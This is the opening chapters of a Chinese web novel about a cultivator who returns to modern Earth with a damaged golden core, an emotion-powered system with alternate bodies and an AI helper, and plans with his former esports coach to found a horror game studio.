《我靠马甲开游戏公司》 1. 文学城独发 [] 呼啸的风声宛如婴啼,将门板刮得不断震动,四周的墙壁仅由薄薄的木板钉成,边角缝隙不断灌进风来,带走室内好不容易积蓄起的丁点儿温度。 刺骨的冷意终于逼醒了地上的余缺,他睁开眼睛,扫视了周围一圈。房间很小,像是农户随意搭建而成,码放整齐的木材占据了大半面积,长锯、斧头以及锄头随意地摊在不远处,空气里还有股木头刚被锯开的气味。 很陌生的地方。 没察觉出危险,余缺心中的警惕稍减,绷紧的身体一松,顿时“嘶”了一声。手指上的乾坤戒不见了,而他此时身受重伤,口腔里有血腥气,丹田闷痛,身体像是被撕裂过一样。 他下意识用神识内视,发现自己原本流光溢彩的金丹此时已经黯淡无光、满是裂纹,丹田内更是宛如狂风过境,伤痕无数。就连经脉也因伤势造成淤堵,灵力都无法自行运转,难怪会被冻醒。 再不赶紧做点什么,他就快金丹碎裂,境界跌落至筑基了。 想到这里,余缺勉强挪动四肢坐起来,想要吸纳周围的灵气用来稳固境界,但尝试了许久,也没感知到任何灵气的存在。这里的灵气稀薄到了这种地步吗?他没有深想下去,继续运行功法。 在过量的疼痛下,余缺额头上渐渐渗出了汗珠,唇色也变得极为苍白。不知过了多久,他再也无法压下喉咙口的痒意,猛烈咳嗽起来。 这个地方实在古怪。 余缺按着自己的心口,闷咳着,挥动了一下手指。冰冷的室内,随之突兀地浮现出一块金色弹窗:“系统重启中……” 须臾之间,弹窗上的字符变为“重启成功”,一片金色的光幕随之张开,上面的字符跳跃和闪动了几息,才渐渐稳定下来: 【人物:余缺 年龄:???(时间线已混乱,请手动矫正) 血脉:暂无(似乎是个纯粹的人类) 灵根:暂无(暂未发现对任何属性灵气具备亲和力) 天赋:■■骨[损](警告:已出现排异反应) 功法:混元真法[主]、斩风刃[副](非主要功法均未显示,可手动矫正) 境界:金丹期(警告:境界或将持续跌落) 异常状态:运气-12%,重伤debuff持续中,灵力枯竭debuff持续中】 【随身包裹】 【切换世界】[警告:系统能量不足,现已锁定] 【新建角色】[警告:系统能量不足,现已锁定] 【切换角色】[警告:系统能量不足,现已锁定] 【角色召集】[警告:系统能量不足,现已锁定] …… 系统此前似乎消耗了大量的能量,余缺一行十目扫过去,几乎全部功能按键都是不可启用的灰色锁定状态。唯一算幸运的是,【随身包裹】仍旧亮着。 点击【随身包裹】后,金色面板随之变换成一格格状的网格,余缺手指刚要下落,又僵在了半空。 比起乾坤戒,他一直更信任绑定了自己的系统,因此重要的物品几乎都是放在系统面板内置的包裹里。虽然为掩人耳目,在外大多使用乾坤戒,但戒指里有的东西,都在包裹中留有备份,相当于是双重保险。 可现在,包裹格子里除了一块青石雕刻的狼头印章,一枚金锭,就只剩下一颗回春丹。 乾坤戒不见了,还可能是修为更高的人强行切断了他和戒指的联系,将其掠夺。但系统只有自己看得见,谁能拿走里面的东西? 身体上的疼痛让余缺来不及深想,简单查看了一下丹药没有被做过手脚,就赶紧服下。 丹药进入腹中,立即变为一丝暖烘烘的热气,很快,余缺体内的疼痛就缓和大半,破碎的丹田也被修复了不少,体内的金丹虽然依旧满是裂纹,但也不是摇摇欲坠马上碎裂的状态了。 他睁开眼睛,此时再看系统面板上的信息,在异常状态那一栏上,重伤的状态已变为了“负伤”,但运气却从-12%变成了-25%。 修复了身体上大半的伤,他的运气反而变差了?! 余缺轻“啧”了一声,倒也没怎么把这点放在心上。 他运气一向很差,最开始得到这块系统面板的时候,几乎每天稳定在-99%。后来慢慢好起来了,但也几乎维持在-10%到-20%之间。假如这个状态只是一天两天,那余缺还会将其好好记挂着,但这么多年都过去了,余缺早已经习惯。 无非就是进秘境必遇凶兽,出门就见到仇人,受伤时被队友落井下石,无数次被陌生人记挂着杀人夺宝…… 运气差又怎样?他还不是能活下来。 不过,这个数值变化到底让余缺起了点警惕心。刀不在身边,他站直身子,就近摸到地上的斧头,脚步轻缓的走到门后。只见一股气流从他指尖飞出,门外闩着把手的铁链立刻断成了两截。 薄薄的门板被慢慢推开,呼啸的风将细碎的雪粒刮了进来。 外面并没有谁在把守,更确切地说,外面一个人都没有。只有茂密参天的松柏,和满地枯黄的松针。冷冽的风让细碎的雪粒在空中不断飞舞,不少枝叶上已经挂白,地上虽然还没积蓄起厚雪,但也显得潮湿和阴冷。 夏季落雪,一瞬的念头让余缺怀疑自己到了北境,但他很快又推翻了这个推测。毕竟,这里的树木品种完全对不上不说,而且假如真是北境,以他之前重伤昏迷的情况,应该不是一个人慢慢苏醒,而是被这里特有的凶兽衔回了山洞。 但这里不是北境,又会是哪? 走出房门后,目光所及,皆是深山特有之景。在严寒的氛围下,别说是人烟,鸟兽都不见一只。余缺于是放回顺手抄起的斧头,又用一根树枝将门板抵住,自己沿着山中依稀可见的小路往下走。 ——先找到人烟再说。 雪越来越大了。 身上这件布满防御法阵的白色长袍很薄,外界又没有灵气以供吐纳,余缺在步行中,越来越感觉严寒刺骨。不过怎么说也是修士,肉身强悍,冷便冷了,冻不坏他。 山中落雪风景优美,余缺还有闲心沿途欣赏,走着走着,又不免回想到之前发生的事。 他的记忆停留在新任天机楼楼主的接任大典上。 余缺和这个新上任的楼主积怨已久。 两人第一次见面时,他就感受到了对方那股没来由的厌恶。 当时余缺只是个刚刚得知竟真有“修仙”这回事的毛头小子,就像是许多年轻人对于电视剧里飞檐走壁、摘花杀人有种发自内心的推崇一样,余缺对于修仙也有天然的狂热和兴奋。哪怕后来发现自己没有什么好根骨好天赋,也丝毫没被打击到自信心。小说里还有“废材”的流派呢,没道理他余缺就混不下去。 经过多方打听,得知万剑宗以苦修为主,对资质要求很低,更看重弟子心性坚韧与否,余缺便过五关斩六将,站到了万剑宗的门前。 眼看就要成功入门,成为一名外门弟子,彼时还未坐上天机楼楼主之位的毕泫横叉一脚。 他只高高在上、用一种充满蔑视和厌恶的目光看了余缺一眼,就断言他不可能有什么大造化。这话一出,原本还打算将余缺收下的外门管事,竟直接顺水推舟,收回了已经递出去的弟子令牌。 修真无岁月。对于当时在场的任何人来说,余缺只是个不值得一提的蝼蚁,错过万剑宗,他应该只能回到凡尘俗世,等他们升上一两个境界,就该像一片枯死的树叶落进泥土,腐烂得干干净净。 但偏偏十几年后的宗门大比,余缺站到了毕泫的面前,并在无数双眼睛见证下,堂堂正正地将其击败。这位天机楼的大弟子或许从未尝过如此惨烈的失败,再 2. 文学城独发 [] 修真界其实和蓝星很像,山川流域,人文烟火,就连草木都有大半相似。但蓝星的人类在科技上发展得如火如荼,而修真界却长久地停留在类似蓝星的古代文明时期。是什么造就了两个相似世界的不同走向? 答案就是灵气。 灵气像是一种特殊的、能被生物直接调用的资源,因为有灵气的存在,才有修士存在,也才催生出两个如此相似的世界走出完全不同的路。 蓝星没有灵气,自然也不会产生因灵气而生的天材地宝,余缺现在回到这里,既没有医修医治,也没有别人卖给他丹药符篆,他想要完全修复自己的伤势,可谓天方夜谭。 长此以往,内里的暗伤导致的生理痛楚只是小事,更重要的是丹田不能修复。修士的身体好比木桶,修为就是贮存在桶内的水,丹田的破损,就像是把木桶底部戳了几个洞。 哪怕这个“洞”再小,长此以往,也会恶化得越来越严重。前面或许还不甚明显,到后面,他的修为恐怕会一天一降,境界跌落、直至完全变回普通人。 余缺不是修真界那些天赋根骨样样俱佳的天骄,修炼速度并不快。能有金丹期的修为,全靠他人“够卷”。近百年的时光,余缺不曾有一天懈怠过。而眼下的情况,等于是要将他近百年的努力,全部付之一炬。 搞清楚现在的情况后,余缺心情变得极为恶劣,下意识的念头就是赶紧回到修真界。于是冷着脸,再度打开了系统面板。不是眼花,上面的各项选项确实都是灰色,余缺一个个扫过去,定格在【切换世界】上。 这是系统消耗能量最大的功能。 在余缺利用这个功能抵达修真界后,之后的时光里,这个选项都没有再亮起过。现在系统仅以最低能耗维持着包裹可打开的状态,其余所有功能都被锁定,更别说这个耗能最大的选项了。 想启用这个功能,他先得想办法给系统充能。 绑定他的这个系统很特殊,所需的能量也很特殊,是“情绪值”。简单来说,就是通过喜悦、哀伤、痛苦、恐惧等情绪变化来获取能量。 在修真界时,余缺一直没怎么把充能这件事放在心上。因为系统对能量的收集途径有二,一个主动一个被动。主动的方式是针对绑定的人,也就是余缺,他的所作所为引起他人情绪变化,都能给系统充能。被动则是系统日常充能:它会随着余缺的移动,自动汲取附近一公里内人类情绪值变化所带来的能量。 之前的时间里,余缺不需要刻意收集能量,日常使用已经足够。但现在他需要启用这个耗能最大的选项,依靠系统被动摄取肯定就不够了。 想到这里,余缺心情愈发不好了。他确认一般再次打开包裹,里面还是只有那两样东西,退出后,手指习惯性地在面板上来回划拉了两下,接着就顿住了。 金色面板下方,不知何时多了一个可点击的选项【2247】。 之前系统并没有这个选项,余缺记得很清楚。而且罕见的、凭借上面的数字,他也无法判断是什么功能。余缺凝视了这个选项一瞬后,手指点击下去。 “编号2247已激活。” 随着一个平板的、有些怪异的金属音响起,余缺面前浮现出一个拳头大小的金色光团:“系统能量过低,建议用户主动收集情绪值。” 余缺注视了祂片刻,问道:“你是谁?” 光团:“我全名Sirius·Otto·2247,用户可以直接称呼我的编号:2247。我是系统自带的用来辅助您的智能AI助手。” “我不记得系统有这个功能。” 光团:“事实上,之前确实没有,我是在系统升级后才得以出现。” 升级?这两个字不免让余缺产生了猜想:“所以系统现在能量值这么低,是因为你的原因?” “不,是因为用户您。”金色光团闪了闪:“经查询系统日志,因为检测到用户突然受到重创,且面临死亡威胁,故而激发了系统的核心保护程序——自动耗费了所有能被耗费的能量,为用户启用了【切换世界】功能。” 闻言,余缺默了默:“消耗的能量,也包括我包裹里原来存放的那些东西吗?” “抱歉,系统日志并未对此有任何记录。可能是因为系统能量本就不够,又处于升级阶段,导致强制开启【切换世界】功能时,只能以保护用户为前提,因此将其它物品遗失在了时空穿梭途中。” 余缺:“……” 所以,还是他托大了。 再次联想到了毕泫的古怪,余缺便明白了过来,但即使如此还是避免不了内心郁结——本以为已经做了足够周全的准备,也认定自己一定会赢,但没想到,毕泫这人即使死了,也能拉下自己垫背。 要不是系统的存在,说不定这次真就把命留下了。 余缺轻呼出一口气。 知晓了所有原委,他也算彻底冷静下来。相比性命,身负重伤、积蓄遗失这些委实都算不上什么大事。只要他还活着,总有机会能从头再来。 现在一时半会儿启动不了【切换世界】功能,境界跌落是肯定的了,但情况再坏也就是如此。 与其沉湎现状,还不如面对现实,冷静思考怎么收集到足够的情绪值。 就在余缺改变心态的一瞬间,金色系统面板上,特殊状态那一栏,运气值突然一闪,数值从-25%变成了0。但余缺本人对此一无所觉,他已经随手关掉了面板,提步往城镇里走去。 2247并未随着系统面板关闭而消失,而是漂浮在余缺的身边:“用户打算怎么做?” 余缺:“先安顿下来再说吧。”总得先找个落脚的地方。 大雪纷飞的路上,陆续有接到回乡游子的家庭,高高兴兴地在门外点燃鞭炮。行走在村镇的公路上,人人脸上都挂着笑容,到处都是福字和春联,就连公路两边枯没了叶子的树枝,都挂上了一串串小个的红灯笼。 余缺这个过路人,或许因为是个身着古装的生面孔,一路上别人都投来的好奇和打量的目光。他并不以为意,以袖口作为掩护,拿出包裹中的那枚金锭,拐进了附近一家金店。 金作为贵金属,在两个世界都是可以流通的货币,自然是能换钱的。只是因为余缺的各项证件也都遗失了,没有银行卡,最后只能全换成纸币。 从金店出来,余缺又开始犯难:现在正值华夏的春节期间,派出所也放假了,他想补办身份证,最佳途径是自助补办的 3. 文学城独发 [] 余缺没有正面回答,反而问:“很难看?” “这倒没有,”贺危站起来拍了拍身上的烟灰,又将注意力放在他高高束起的长发上:“你这头发真的假的?” 余缺眉眼带笑:“真的。” “两年不见而已,你头发长这么快?” 见贺危脸上露出惊愕,余缺面色不改:“我天赋异禀。”他轻垂下眼,已注意到了这句话里关于时间的词语:两年。 他在修真界已经度过了近百年的时光,但回到蓝星,却只仅仅过去了两年…… 身侧的2247适时提醒:“两个世界的时间流速并不一致。”余缺没回话,他当然是知道这点的,但还是会有些恍惚。 贺危对漂浮在余缺身边的光团视而不见,他以为余缺是在开玩笑,没多想,转头又成了兴师问罪的架势:“不提这个。之前电话里没细问,你干嘛去了?!两年啊,两年也不给我打个电话,消息也不回,给老子玩失踪是吧!”说着就抄起手想照着余缺脑门来一下,被余缺反射性地抓住了手腕。 四目相对,顷刻间,贺危火冒三丈:“你还敢躲!” “嘶,你真打啊——” 胡闹了片刻后,见余缺穿得单薄,脸上也有些苍白,认定他是被冻的,贺危就念叨着他“要风度不要温度”,先拐着人去附近的一家服装店买了身羽绒服套上。中途试衣服的时候接了个电话,正是刚刚送余缺来的那个员工,对方说后座上遗落了钱。贺危看向站在镜子前的余缺,见他点了点头,心中了然,对电话那头道:“他给你的红包,拿着吧,麻烦你送他过来了。” 这个小插曲后,余缺被贺危领着走路回家。 路上,他问余缺这两年是怎么过的,余缺笑称是出家修道去了,贺危自然不信。追问无果,他也没再不依不饶,转而喋喋不休地抱怨当初余缺玩失踪的可恶行径:“你是真的行,发条信息就走,我他妈以为你自杀了知不知道?!冰天雪地的,我报了警后跟着警察一起,在你失踪的那块地方不眠不休地找了好几天,生怕看见你的尸体。” 余缺闻言自认理亏:“抱歉,当时没想到这些……” 现在回想一下,当时在信息中说自己要去很远的地方,走之前把剩余的资产托付给对方处理之类的。话是那个话,但不同的人看来完全是不同意思,难怪被误会。 听出他话语中的真诚歉意,贺危反倒像被噎了一下,深深看了他一眼:“臭小子,变化挺大,竟然会道歉了。”还以为会不耐烦来着。 余缺:“有吗?” 贺危翻了个白眼:“你说呢?之前说你两句能回怼我三句。” 余缺笑:“那就是想我继续怼你的意思?” “滚蛋。”贺危没好气地在他背上给了一掌,问起正事:“那你现在回来了,是要继续打比赛吗?” 在离开蓝星之前,余缺是大型moba游戏《时空战场》的职业电竞选手,拿下过国际联赛的冠军。虽然在电竞圈,现在二十三岁的他已经算是“高龄行列”,但是贺危作为他的教练,清楚知道余缺对游戏的理解,以及手速,是极罕见的不受年龄影响的特殊选手,因此才有此一问。 余缺摇头:“还是算了。” “当初那些黑子闹得确实太难看了些。”贺危又想抽烟了,摸了摸裤兜,发现没有,只好悻悻作罢:“那你不做这个,准备做什么?” 余缺:“嗯……肯定还是做游戏相关的,具体做什么,等我先玩玩市面上的游戏再说吧。对了,有哪些新游戏比较火?” “你这两年呆的是哪个犄角旮瘩,不联网是吧?”贺危吐槽了一句,但还是继续解释:“光论火的话,去年推出的那个《新中世纪》就挺火,国内玩家日活都快超过《时空战场》了。但你肯定不会想玩,这游戏不论世界观还是核心玩法都抄袭了国外的3A大作《半人马》,你玩过原作的。” 余缺果然皱眉:“除了这个呢?” 贺危:“很多,到家你自己玩吧。总之别期望太高,现在国内游戏行业风气浮躁,净想着挣钱了,抄袭跟风的一大堆。半年前有个小众游戏《暗夜猎手》做得不错,结果被几个大厂的抄袭作分走了流量,收益支持不住,最后把ip卖给了抄袭它的厂商……” 这种事,外行也就是看个乐子。但作为有底线的圈内人,心里多少会有些不是滋味。 两人说了一路,由于余缺对这两年游戏行业发展一无所知,说得少,听得多,导致贺危嘚吧嘚的嘴巴都干了。等到了家,看见老婆出来开门,他才记起现在是过年期间:“不说了,过年说什么工作,赶紧进来吃饭,吃完咱俩玩几局。” 中午的饭点早就过了,但没有让客人饿肚子的道理。余缺刚被贺危的家人们寒暄了一圈,一大碗热气腾腾的面就端到了桌上。浓白的汤底,筷子一搅,露出下方色泽金黄的鸡肉,几根新鲜的青菜翠绿翠绿的,还有个煎得椭圆的鸡蛋,鲜香四溢。 刚吃了两口,面前又端上来好些卤味热菜,贺危也挨了过来,用陪着吃饭的方式躲自己老婆——因为新羽绒服被烟灰烫出了两个洞,被发现戒烟失败,那位现在的眼神已经恨不得能吃人了。 氤氲的雾气从碗中溢出,将这日常又温馨的场景变得有些模糊。余缺淡淡一笑,温热的食物落进胃里,好像连那些隐隐作痛的伤口都平复下来。 一顿延迟的“午饭”下肚,原本还打算要一起玩游戏的人却有了公事要忙。为避免呆在不熟的人身边尴尬,余缺被带到了贺危的专属电竞房。 市面上配置最高的电脑,国内外几大游戏厂商的游戏主机,占据了半面墙壁的游戏卡带……这里一切应有尽有。余缺坐到主位上,没有第一时间打开自己想玩的游戏,而打开网页,通过网络检索查看现在几大平台的游戏排行。身侧的光团闪了闪:“是否需要为用户提供信息筛选功能?” 余缺:“你还能做这个?” 2247:“系统升级后,多项功能都有了针对性改进,用户可在后续使用中进行查看。” 效果出乎意料的好。 2247不仅能快速检索出相关信息,并按信息的时效性、重要性进行先后排队,还能顺着信息背后追本溯源,给出可参考的结果分析。比如知名游戏平台clown现在的热度榜榜单,2247就通过对平台的用户关注、评论信息等多项进行了分析论证,认为这个榜单水分很大。 排名第 4. 文学城独发 [] 对于余缺想内卷游戏行业的想法,贺危有六点看法:…… “是我没睡醒还是你没睡醒,你当做游戏跟你打游戏一样简单?”贺危那姿态,简直恨不得掰开他的头骨看看脑子里究竟装着什么。 余缺对他这个反应不以为意,手动保存了一下文档:“很难吗?我大学学的就是游戏制作。” 贺危:“你还学了经济学呢,怎么不见搞个投行出来?” 余缺故意应和道:“你说得对,是该想办法开家投行,不然前期开发太烧钱了。” “不是你这……” 贺危知道这句是玩笑话,没被岔开注意力,反而看出他是真的想开公司做游戏,不由得将抬高的声线变得平缓,用来表达出自己认真的态度:“余缺,我知道,你学东西很快,人也够努力。但是你得明白,不是说被别人夸几句天才,你就真是个天才了。” “我不是在贬低你。或许你的确有能力去开发游戏,但游戏想做出来,光靠你一个人是不行的。不扯远了,美术你会吗?文案你写吗?你想开公司去招募员工,那你有钱吗?你有多少?后面终于开发出来了,你又能拿出多少来做宣发?被别人抄袭了,你拿什么和别人打擂台?” 话说到后面,贺危尾音再度飙高,他短暂地停了下来。或许是感觉自己的语气太像质问,后面几句要柔和得多:“余缺,听我一句劝,现在不是以前了,以前小工作室够诚心够努力就有出头之日,但现在是大厂的天下。有那么多前车之鉴在那摆着呢,你别往坑里跳。” 面对这真心实意的劝慰,余缺显得有点无奈:“我还没尝试过,你就断定说不可能,这对我未免太不公平。” “这不是公不公平……” “贺危,”余缺打断了他的喋喋不休,目光沉着而平静:“你把那些大厂想象得极为强大,但实际上,只有真正站在对方面前,才能切实感受到这份强大中有几分是虚,几分是实。” “更何况,路是一步步走的,饭是一口口吃的。我不怕失败,也没想着好高骛远,一来就对标现在现象级的游戏。我只是定了目标,并打算向着目标努力。我或许会成功,也或许会失败,不管结果如何,我总得试试。” 贺危虚张了张口,他想过被反驳,但没想到会得到这样的回复。余缺站起来拍了拍他的胳膊:“我知道你是为我好,你说的那些也确实都是现实。但我不觉得现在的游戏行业不可改变,总会有人看不下去,总会有人憋着一股气,去做自己想要的游戏。所以,那些人里面,为什么不能多一个我?” 他的话让贺危面色恍惚,他突然想起以前的自己,也想起和余缺的过往经历。 贺危大余缺六岁,别看现在一副胡子拉渣不修边幅的颓丧模样,他曾经也是打职业的。他也曾怀揣着梦想,希望可以站在舞台上,摘下桂冠。 美国游戏厂商将moba游戏《时空战场》推出后,立刻红遍全球,这对贺危本是个可遇不可求的机遇。在moba类游戏未全面大火的时候,他就是同类型的职业选手。有先前的经验,他对《时空战场》的游戏理解处于前沿,因此立马被人发掘,站到了职业赛场上。 可惜,他只拿下一个国际联赛的季军,就因为长时间训练给手腕带来的损伤,不得不黯然退役。 错失人生中唯一一次可能的冠军后,他心中满是愤愤。就是因为这股不满,他最后接受了一个俱乐部的橄榄枝,成了职业教练。 之后,因缘际会,贺危在一个游戏代练的群里发掘到了余缺。 当时余缺只有16岁,看起来很需要钱,接单很多,好评也很多。贺危发现他对游戏的意识和理解极为高端,手速更是可怕,因此几经波折,终于把人签下。 之后发展并不顺利,俱乐部的老板莫名其妙地让余缺一直坐冷板凳,团队里几个成员更是摩擦不断。贺危一气之下,干脆拉着人出来单干。在新一届《时空战场》的联赛中,这个临时组建的、以余缺为核心的队伍奇迹般地拿下了国内的亚军,站到了国际的赛场上。 这次比赛虽然最终只拿到第四名,但余缺天赋已经显露,他们有了名气,也有了钱,而后再接再厉,期间也错失过机会,但最终还是摘下了国际赛场的冠军,一时间风头无两。 直到余缺打算退役,又把一切托付给他后突然失踪。 时过境迁,贺危再次看到余缺坚定的眼神,仿佛回到了打联赛的时候,他就站在台下,隔着人群的喧嚣和舞台的灯光,看着他站在队伍最前,那种坚信能赢下这局的目光。 两人对视片刻,贺危眼中浮现出恍惚,接着才释然般露出一个笑来:“我明白了。” 余缺变了,但也没变,在他眼里,面临的困难或许都是一场游戏。他就站在那里,分析局面的优势,分析对手的战术,他做的一切是为了赢,但也是为了享受游戏本身。 更何况,没有哪个冠军是一路赢过来的,他在夺冠之前,也输过很多次。 他输得起。 “既然你已经下定决心,那努力去做。”完全明悟后,贺危长长的吐出一口气:“其实我也看他们不爽很久了,新出的都是些什么几把游戏,玩不了一点。” “既然现在你要开公司,人手的方面也是个问题。我先去问一下朋友,看有没有好苗子能捞给你。” 说着,他就扔下人,风风火火地转身出了门。态度转变之快,令余缺有点哭笑不得,但心中更多的还是感觉熨帖。贺危好像没怎么变过,因为以前余缺实在是倒霉,三天两头地出意外,他遇事会习惯性地考虑最糟糕的一面,也会习惯性地将“备战”配置到最高规格。现在说出去问朋友能不能帮着挖人,估计也是同样的心理。 有他帮忙,招人方面应该会轻松不少。 不过,现阶段比起人手,钱的问题才更迫在眉睫。 余缺现在手里只有刚到时在金店用一锭金子换到 5. 文学城独发 [] 余缺本以为自己激活了系统的核心保护程序后,之前所有的资产都被变相销毁,一朝回到解放前。谁知道系统竟然保留了他最重要的底牌:他的马甲。 由于系统的存在,余缺不只拥有一个角色,除了作为本体的自己,他还靠着【新建角色】的功能,给自己捏了好几个马甲号。 这也是发现自己想法很多的时候,下意识打开系统面板的原因——他已经习惯了同时操控几具身体,因此在发现一双手不够用的时候,反射性地想新建个马甲出来。 马甲作为系统绑定后赋予余缺最大的金手指,一开始,仅限于日常生活上。 余缺读书时期感觉自己效率太低,尝试一心二用,让本体和马甲同时阅读不同的书籍,慢慢习惯后,日常效率大大提升。依靠这个优势,在大学期间,他就一边当职业电竞选手,一边拿下了游戏制作和经济学的双学位证书,并提前一年毕业。也是因此才被老师和同学称之为天才。 后来到了修真界,余缺发现自己不具有修仙上的天赋,被迫离开万剑宗后,面临修真者的追杀,他又发现了马甲在这个危机四伏的世界中的重要作用:保护本体。 作为本体,余缺死亡后,马甲也是会随之一起消失的。因此,他想修仙,就绕不开自己堪称废材的资质。而相对应的,马甲的资质大多都很不错。 或许因为是系统出品,没有废品。余缺每次随机出的角色,包括种族、年龄等都大相径庭,但都具有修仙资质。之后余缺捏马甲就开始有了倾向,他会在随机出自己想要的天赋后,才开始进行“捏脸”。 也正是因为有了这些资质上佳的马甲,余缺才有了保命的底牌,也得以让堪称废材的本体有足够的资源。否则光靠卷,肯定卷不出个所以然,更遑论金丹期的修为——这个修行速度比起普通资质的修真者也不差了。 如今,系统把他的这些角色保留了下来。对于余缺来说,相当于是保存了自己大部分实力。不仅以后再回到修真界有了安全的保证,现在留在蓝星,也不必耗费多余能量新建角色,而可以使用相对较少的能量,继续使用之前的马甲。 实在是个意外之喜。 还想问一下2247其它问题,房间的门却在此时推开。 贺危对那块金色的系统面板和金色光团视而不见,单手拿着手机,捂着听筒:“这有个刚离职的程序员,据说代码写得很不错,就是年纪也稍微有点大,四十多了,你要了解下吗?” 余缺立马应道:“当然,我只看工作能力,年龄不是问题。” 贺危便直接把电话给了他:“那你和他聊两句,觉得可以的话后面再找机会面谈。” 这场谈话很愉快。或许是因为同样成家立业了,过程中贺危反客为主,和对方聊得有来有回。还是贺危家里人敲门来催促吃饭,才发现通话时间过长。 今天是大年三十,年夜饭是火锅加中餐的组合,客厅的大桌上是沸腾的热气和琳琅满目的食物,大屏幕的电视开着,春晚被当成了背景音,余缺很久没体验过这种氛围,情绪也有些被感染,拿起满杯的果汁,和这一家人一起举杯。 冰凉酸甜的滋味落在舌尖,放下杯子,大家热热闹闹地开始吃饭。 饭桌上闲聊,贺危不免提起刚刚电话里的那个程序员,言语间颇为感慨。 这人履历其实相当不错,上一家公司是业内知名的游戏大厂,参与过几个有代表性的项目,余缺只聊了几句,就看出这人应该是有真才实学的。这种人才,离开上家公司后应该不愁工作才是,但很遗憾的是,大厂不愿意要他,小公司又给不了想要的薪资。 聊多了,这人也坦言自己不是正常离职,而是被裁员。原因则是上家公司认为他年龄太大,不能加班了。 贺危联想到之前某公司员工加班猝死的新闻,便明白过来:现在的游戏行业内部其实很卷,996加班是常态,而这些大厂既想迅速将游戏上市,又不想背负员工可能加班猝死导致的风评,因此生出了对大龄员工的隐形歧视。 回想起这个程序员想得到一份合适的工作,一再在电话里强调,他身体很好,可以加班。贺危忍不住对那个游戏大厂出言讥讽:“他们逼着员工加班,逼员工为了一份糊口的事业超负荷工作,但这换来了多少精品游戏吗?并没有。新出的那个moba完全打不过人家老牌的《时空战场》,流水那么低,真是活该。” 余缺:“游戏方面的话,风气改变后,这些大厂的态度迟早会端正。倒是他们对员工的态度,可能永远都变不了。” 见贺危叹气,余缺问:“你很看好这个人?” “不至于,就是感慨一下。公是公私是私,还得你面试过再说,别因为我的态度就定下他。”贺危拿起白酒,正准备倒,被老婆在腰间狠狠拧了一记,又龇牙咧嘴地换成了果汁:“嘶,忘了问,你要租办公室还是打算租个大点的公寓之类的?”不少游戏工作室创业之初,其实都是在民宅里,因为人数不算多,可以节约成本。 “写字楼。”余缺解释道:“民宅虽然可用,但就业这回事,一直都是双向选择。我不想原本可能选我公司的员工,因为看见公司的地址是民宅而退却。” 贺危点头:“行,那你现在手里有多少?” 本金方面就颇有些囊中羞涩了。余缺道:“只有三十万。” “我出三百万。”贺危从火锅里夹出一片毛肚,放在自己满是蘸料的碗里,慢悠悠地裹酱料:“你也别推辞,这不是借你的,就是投资。公司成立后你得给我点股份,至于职位什么的,假如你没别的人选,我就去你公司当个人事经理。” 那片裹着蒜末、小米辣、香菜的毛肚被送进口中,贺危看起来对食物非常满意,讲话眉飞色舞:“你知道的,我看人还算有几分眼力。你要开公司,就要招人,面试过程很费时间,让我给你初步筛选后,效率会快得多。” 又是投资, 6. 文学城独发 [] 有贺危帮忙,就不必着急找投资人了。 但三百万说多不多,说少不少,大型游戏肯定是不用想的。余缺预想是体量不做太大,但质量要做到精品,这样的话,钱也得省着点花,避免后期不够用。 至于游戏的题材,结合对情绪值的需求,余缺脑中浮现的第一个想法就是“恐怖向”。 恐惧是种很特殊的情绪,人们在很多时候都会产生恐惧。恐惧考试、恐惧社交等等,但相比于这些真实的、对自身境遇的恐惧,人类对恐怖片、惊悚片却会产生一种“又害怕又想看”的矛盾心理。 在游戏领域,恐怖向的作品不算小众。比如华夏国内前几年推出的灵异题材、解谜向恐怖类游戏《结伴自杀》,韩国在去年推出的《校园孤魂》,发售后均有不错的反响。 这类玩家对题材的忠诚度高,新游戏出现,相对不怎么挑厂商,勇于尝试。相比其它大类,还有自行“找粮吃” 的习惯,前期公司没钱做宣发的时候,选这个题材有一定优势。 当然,玩家们对题材忠诚,不代表对游戏包容度高,允许其粗制滥造。看市面上的同类竞品就知道了,做得差劲的有的是人骂。 那什么才算恐怖类游戏的精品? 余缺有2247做助手,在调研市场这块速度极快。经过分析玩家们的评论和意见,综合认为,一款优秀的恐怖类游戏应该能让人快速沉浸在氛围中,并因此肾上腺素飙升。过程中,玩家越是沉浸,越是恐惧,越是恐惧,才越想玩下去。 市面上被评为精品的恐怖类游戏大多在画面上有不俗的表现,也有另辟蹊径,靠文字加图片,以及音乐氛围营造的。 过年这几天,余缺连续试玩了不少同类竞品,其中最让他喜欢的就是国产的《结伴自杀》。虽然只看评分的话,国外的几个恐怖类作品评分还要更高一些,但身为华夏人,对恐怖的理解同国外到底存在文化壁垒。而《结伴自杀》不光氛围营造相当不错,还有东亚人生活中独特的窒息感。 往下翻阅评论区,能发现很多玩家对此深有感触,不少人甚至一一对应上npc的情节,述说自己人生过往也经历过同样的事。这些游戏上的细节,亦足以看出制作组的用心。 游玩和调研的阶段结束,余缺对自己要做的游戏也有了些灵感。 方向拟定后,自然对员工的要求也有了倾向:主美的画风需要尽可能阴郁和黑暗,适当的扭曲是加分项。假如风格独特,有相关工作经验自然好,但考虑到余缺不希望游戏画风和市面上已发售的恐怖向游戏雷同,主美的人选其实更倾向没有参与过相关内容制作的独立画师。 对文案的招聘则要难一些。但现阶段业内对于游戏画面要求很“卷”,但却对文案岗相对并不那么看重,导致很多游戏的文案写得较为敷衍,抄袭更是疏松平常,玩家们基本都是选择跳过。 但余缺认为,恐怖类游戏区别于其它类型,文案是重要组成部分,不仅能增加氛围,也能有效帮助玩家代入角色,因此不想放低要求。 贺危来询问的时候,他就直说,想要能写出有代入感文字的人,面试时带上作品,读起来能让人觉得毛骨悚然最好,有写过恐怖向剧本的编剧,或者是写过相关小说的最佳,是否担任过文案策划岗位倒是最次了。 至于音乐和音效,贺危认为不必着急招聘,现在娱乐圈一派欣欣向荣,配音方面也随着势头发展得如火如荼,与其招员工,不如找能合作的工作室,节约成本。余缺认同了这个想法。 其余重要岗位包括数值、系统、光效、关卡设计等等,很多岗位在大公司是同时需要多人兼任的,余缺自己虽然学过大半部分,但到底不可能全让自己做,因此即使精简过,初步团队也定下来二十人位置,后续再看情况酌情增加。 这个新年,两人没怎么闲下来过。到了大年初七正式开工,更是紧锣密鼓地进行一切事宜。 余缺的证件补办很快,定下办公地点后,公司注册也很顺利。倒是他的住所有点波折。淮市毕竟是一线城市,地段好点的地方根本不愁租,余缺的要求又不低,中介一时找不到合适的房源,因此耽搁下来。 期间,他系统的能量都攒到超过一格了,却没机会具现化马甲出来——总不能在朋友家里大变活人吧? 